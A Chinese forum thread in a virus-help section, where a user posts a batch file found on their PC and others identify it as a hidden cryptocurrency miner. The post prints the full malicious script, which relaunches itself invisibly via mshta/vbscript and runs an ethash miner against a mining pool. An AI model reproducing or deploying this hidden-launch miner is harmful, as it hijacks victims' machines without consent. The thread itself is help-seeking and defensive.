网站 › 『病毒救援区』 › 电脑光标总不停的闪烁，原来是这个批处理再作怪，大家帮忙分享下啥意思

gzh820101 发表于 2022-3-6 08:52

电脑光标总不停的闪烁，原来是这个批处理再作怪，大家帮忙分享下啥意思

本帖最后由 gzh820101 于 2022-3-6 10:24 编辑

电脑光标总不停的闪烁，原来是这个批处理再作怪，大家帮忙分享下啥意思
windows批出来，在电脑c盘C:\ProgramData/MicrosoftBIM.bat
代码如下：
@echo off

if "%1"=="h" goto begin

start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit

:begin
MicrosoftBIM -a ethash -o cn.sparkpool.com:3333 -u sp_fuzor.ddds -log

本人小白，完全看不懂这个代码是干啥的，我电脑是不是被黑客控制了，我把这个批处理删除后，光标就不闪烁了
-------------------------------------------------------
现在基本确认是挖矿的，我就比较好奇，现在病毒都是bat的吗，那么他是怎么到我电脑的，是不是我电脑还有别的病毒埋伏，他能操作我电脑，自己在我电脑新建了这个代码，昨天发现这个的时候，当天没有打开过网页，还是查询他的时候开的网页，追溯到前天4号，从河东下载站下载过一个软件，浏览记录如下：

不知道是不是因为下载他的原因

mlwnl 发表于 2022-3-6 09:47

请问楼主你是怎么知道是这个批处理在作怪的？我认为，光凭你能发现这个批处理，你就不是小白。

CC1888158 发表于 2022-3-6 08:59

不懂，帮顶。。

zhixin302 发表于 2022-3-6 09:05

搜索得知：
ethash ，是目前以太坊主网(Homestead版本)的POW共识算法
sparkpool ，星火矿池(关闭)(SparkPool)是一家区块链相关网站

估计是被偷偷挖矿了

sjminh 发表于 2022-3-6 09:09

搜索sparkpool，是挖矿的

zhxwayne 发表于 2022-3-6 09:19

各种疑难杂症！

Ω分子 发表于 2022-3-6 09:21

cn.sparkpool……一眼矿池

唐小样儿 发表于 2022-3-6 09:37

大概是中毒了把

素颜朝天 发表于 2022-3-6 10:02

怎么发现是这个批处理在作怪的

songyuxuan 发表于 2022-3-6 10:10

{:1_904:}搜索其中关键字，挖矿嫌疑很大

查看完整版本: 电脑光标总不停的闪烁，原来是这个批处理再作怪，大家帮忙分享下啥意思